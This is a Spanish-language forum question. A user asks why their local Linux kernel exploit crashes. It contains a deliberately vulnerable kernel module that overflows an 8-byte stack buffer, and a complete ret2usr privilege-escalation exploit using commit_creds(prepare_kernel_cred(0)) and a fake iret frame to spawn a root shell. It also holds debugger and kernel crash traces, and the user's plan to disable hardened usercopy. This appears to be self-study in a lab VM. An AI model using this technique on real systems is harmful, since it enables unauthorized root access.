¿Por qué segfaults en __kernel_vsyscall + 9?
Se realizó una inspección de EIP, interrumpida justo después de fwrite (), línea 93 en exp.c
(gdb) x/10x 0xb7fd9ce5
0xb7fd9ce5 <__kernel_vsyscall+9>: 0xc3595a5d 0x90909090 0x5800768d 0x000077b8
0xb7fd9cf5 <__kernel_sigreturn+5>: 0x9080cd00 0xb800768d 0x000000ad 0xfb9080cd
0xb7fd9d05: 0x3dfffff9 0x71000000
(gdb)
¿Alguna idea de por qué va allí y, lo que es más importante, segfaults?
Gracias,
Más información:
[16503.171774] ---[ end trace 9f629cab95afffb2 ]---
[16685.903383] module startedn
[16685.903389] creating proc entry @ /proc/buggyn
[16693.888290] buggy_write XXr\xffffffb7\xffffffdft\xffffffb7\xffffffcat\xffffffb 24
[16693.888300] ------------[ cut here ]------------
[16693.888399] WARNING: CPU: 0 PID: 9419 at ./arch/x86/include/asm/uaccess.h:688 buggy_write+0x90/0xa0 [hello_1]
[16693.888417] Buffer overflow detected (8 < 24)!
[16693.888420] Modules linked in: hello_1(POE) vboxsf(OE) snd_intel8x0 snd_ac97_codec ac97_bus snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi snd_seq intel_powerclamp snd_seq_device vboxvideo(OE) snd_timer intel_rapl_perf ttm joydev input_leds drm_kms_helper serio_raw i2c_piix4 snd drm fb_sys_fops syscopyarea sysfillrect sysimgblt soundcore vboxguest(OE) mac_hid parport_pc ppdev lp parport autofs4 hid_generic usbhid hid psmouse ahci libahci e1000 pata_acpi fjes video [last unloaded: hello_1]
[16693.888652] CPU: 0 PID: 9419 Comm: exp Tainted: P W OE 4.10.0-28-generic #32~16.04.2-Ubuntu
[16693.888669] Hardware name: innotek GmbH VirtualBox/VirtualBox, BIOS VirtualBox 12/01/2006
[16693.888682] Call Trace:
[16693.888736] dump_stack+0x58/0x79
[16693.888776] __warn+0xea/0x110
[16693.888813] ? buggy_write+0x90/0xa0 [hello_1]
[16693.888837] ? 0xf9c77000
[16693.888860] warn_slowpath_fmt+0x46/0x60
[16693.888895] buggy_write+0x90/0xa0 [hello_1]
[16693.888928] proc_reg_write+0x4d/0x70
[16693.888951] ? proc_reg_poll+0x70/0x70
[16693.888977] __vfs_write+0x1f/0x50
[16693.889001] vfs_write+0x9a/0x1c0
[16693.889032] ? __fdget_pos+0x13/0x40
[16693.889055] SyS_write+0x49/0xb0
[16693.889084] do_int80_syscall_32+0x5c/0xc0
[16693.889114] entry_INT80_32+0x31/0x31
[16693.889126] EIP: 0xb7728ce5
[16693.889136] EFLAGS: 00000246 CPU: 0
[16693.889149] EAX: ffffffda EBX: 00000003 ECX: 085ec570 EDX: 00000018
[16693.889160] ESI: 085ec410 EDI: 085ec570 EBP: 00000018 ESP: bf8066b8
[16693.889171] DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 007b
[16693.889198] ---[ end trace 9f629cab95afffb3 ]---
cat hello-1.c
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/uaccess.h>
struct proc_dir_entry *proc_file_entry;
// Buggy write handling
static ssize_t buggy_write(struct file *file,const char *buf, size_t len, loff_t *off){
char data[8];
printk(" buggy_write %s %i", buf, len);
copy_from_user(&data, buf,len);
return len;
}
static const struct file_operations proc_file_fops = {
.owner = THIS_MODULE,
.write = buggy_write
};
int init_module()
{
printk(" module startedn");
printk(" creating proc entry @ /proc/buggyn");
// handle anything written to /proc/buggy
// pass it to buggy_write
proc_file_entry = proc_create_data("buggy", 0666, NULL, &proc_file_fops,NULL);
return 0;
}
void cleanup_module()
{
remove_proc_entry("buggy", NULL);
}
cat exp.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/user.h>
struct fake_frame {
void *eip; // shell()
uint32_t cs; // %cs
uint32_t eflags; // eflags
void *esp; // %esp
uint32_t ss; // %ss
} __attribute__((packed)) ff;
void* (*prepare_kernel_cred)(void*) __attribute__((regparm(3)));
void* (*commit_creds)(void*) __attribute__((regparm(3)));
void shell(void) {
execl("/bin/sh", "sh", 0);
}
void payload(void) {
commit_creds(prepare_kernel_cred(0));
asm("mov ff, %esp;"
"iret;");
}
/*
* Setup the fake frame
* |ss | Lower
* |esp |
* |eflags |
* |cs |
* |eip |
*/
void setup_ff(void) {
asm("pushl %cs; popl ff+4;"
"pushfl; popl ff+8;"
"pushl %esp; popl ff+12;"
"pushl %ss; popl ff+16;");
ff.eip = &shell;
ff.esp -= 1024;
}
int main()
{
FILE *fd;
char buf[24];
*((void**) (buf+20)) = &payload;
int ret = 0;
unsigned long addr;
char dummy;
char sname[512];
// Get needed addresses
fd = fopen("/proc/kallsyms", "r");
if(fd == NULL) {
perror("fopen()");
return -1;
}
while(ret != EOF) {
ret = fscanf(fd, "%p %c %sn", (void **)&addr, &dummy, sname);
if(prepare_kernel_cred && commit_creds)
break;
else
if(!strncmp(sname, "prepare_kernel_cred", 512))
prepare_kernel_cred = (void*)addr;
else
if(!strncmp(sname, "commit_creds", 512))
commit_creds = (void*)addr;
}
fclose(fd);
fprintf(stdout, "[+] commit_creds at %pn", (void **)addr);
fprintf(stdout, "[+] prepare_kernel_cred %pn", (void **)addr);
// setup fake frame
fprintf(stdout, "[+] preparing fake framen");
setup_ff();
// write payload
fprintf(stdout, "[+] writing payload to /proc/buggyn");
fd = fopen("/proc/buggy", "w");
if(fd == NULL) {
perror("fopen()");
return -1;
}
fwrite(buf, sizeof(buf),1, fd);
fclose(fd);
return 0;
}
Actualización 1:
(gdb) i r
eax 0x804b000 134524928
ecx 0xfff 4095
edx 0xb7fbb000 -1208242176
ebx 0x0 0
esp 0xbffff188 0xbffff188
ebp 0xb7fbcdcc 0xb7fbcdcc <__curbrk>
esi 0x0 0
edi 0x21000 135168
eip 0xb7fd9ce5 0xb7fd9ce5 <__kernel_vsyscall+9>
eflags 0x296 [ PF AF SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/10i 0xb7fd9ce5
=> 0xb7fd9ce5 <__kernel_vsyscall+9>: pop %ebp
0xb7fd9ce6 <__kernel_vsyscall+10>: pop %edx
0xb7fd9ce7 <__kernel_vsyscall+11>: pop %ecx
0xb7fd9ce8 <__kernel_vsyscall+12>: ret
0xb7fd9ce9: nop
0xb7fd9cea: nop
0xb7fd9ceb: nop
0xb7fd9cec: nop
0xb7fd9ced: lea 0x0(%esi),%esi
0xb7fd9cf0 <__kernel_sigreturn>: pop %eax
(gdb)
Actualización 2:
Después de cambiar a __copy_from_user ()
EIP: __check_object_size+0x6a/0x13a
[ 268.591265] EFLAGS: 00010286 CPU: 0
[ 268.591997] EAX: 0000005b EBX: ced3deec ECX: f71e8900 EDX: 00000007
[ 268.592333] ESI: 00000018 EDI: cda74cfc EBP: ced3ded8 ESP: ced3deb0
[ 268.592713] DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068
[ 268.593043] CR0: 80050033 CR2: 096df438 CR3: 25868280 CR4: 000006f0
[ 268.593470] Call Trace:
[ 268.594254] ? 0xf87c6000
[ 268.594629] buggy_write+0x3c/0x70 [hello_1]
[ 268.595051] proc_reg_write+0x4d/0x70
[ 268.595289] ? proc_reg_poll+0x70/0x70
[ 268.595525] __vfs_write+0x1f/0x50
[ 268.595742] vfs_write+0x9a/0x1c0
[ 268.595952] ? __fdget_pos+0x13/0x40
[ 268.596983] SyS_write+0x49/0xb0
[ 268.597239] do_int80_syscall_32+0x5c/0xc0
[ 268.597559] entry_INT80_32+0x31/0x31
[ 268.597814] EIP: 0xb7fd9ce5
[ 268.597990] EFLAGS: 00000246 CPU: 0
[ 268.598193] EAX: ffffffda EBX: 00000003 ECX: 0804b570 EDX: 00000018
[ 268.598515] ESI: 0804b410 EDI: 0804b570 EBP: 00000018 ESP: bffff258
[ 268.600418] DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 007b
[ 268.601951] Code: 24 38 b8 a7 cd 89 f9 bf fc 4c a7 cd 84 c9 b9 f6 14 ab cd 0f 44 ca ba 47 e9 a7 cd 0f 44 d7 89 4c 24 08 89 54 24 04 e8 14 83 f8 ff <0f> 0b 8d 74 26 00 83 f8 10 0f 86 b7 00 00 00 e8 52 d0 fc ff 85
[ 268.619407] EIP: __check_object_size+0x6a/0x13a SS:ESP: 0068:ced3deb0
[ 268.636139] fbcon_switch: detected unhandled fb_set_par error, error code -16
[ 268.679446] fbcon_switch: detected unhandled fb_set_par error, error code -16
[ 268.721666] ---[ end trace 9339f36f8a5c6988 ]---
Actualización 3:
En otra computadora recibí este mensaje
[ 171.982697] module startedn creating proc entry @ /proc/buggyn buggy_write X(v\xffffffb7\xffffffafx\xffffffb7\xffffffaa\xffffffdew\xffffffb 24
[ 173.805365] usercopy: kernel memory overwrite attempt detected to f1ca3ee4 (<process stack>) (24 bytes)
Sospecho que se está matando el proceso que:
+static void report_usercopy(const void *ptr, unsigned long len,
+ bool to_user, const char *type)
+{
+ pr_emerg("kernel memory %s attempt detected %s %p (%s) (%lu bytes)\n",
+ to_user ? "exposure" : "overwrite",
+ to_user ? "from" : "to", ptr, type ? : "unknown", len);
+ dump_stack();
+ do_group_exit(SIGKILL);
+}
Eso tiene sentido.
Actualización 4:
en la fuente de mi kernel:
linux-hwe-4.10.0 / mm / usercopy.c
static void report_usercopy(const void *ptr, unsigned long len,
bool to_user, const char *type)
{
pr_emerg("kernel memory %s attempt detected %s %p (%s) (%lu bytes)\n",
to_user ? "exposure" : "overwrite",
to_user ? "from" : "to", ptr, type ? : "unknown", len);
/*
* For greater effect, it would be nice to do do_group_exit(),
* but BUG() actually hooks all the lock-breaking and per-arch
* Oops code, so that is used here instead.
*/
BUG();
}
Está bien, así que supongo que tengo que eliminarlo para tener éxito con mi explotación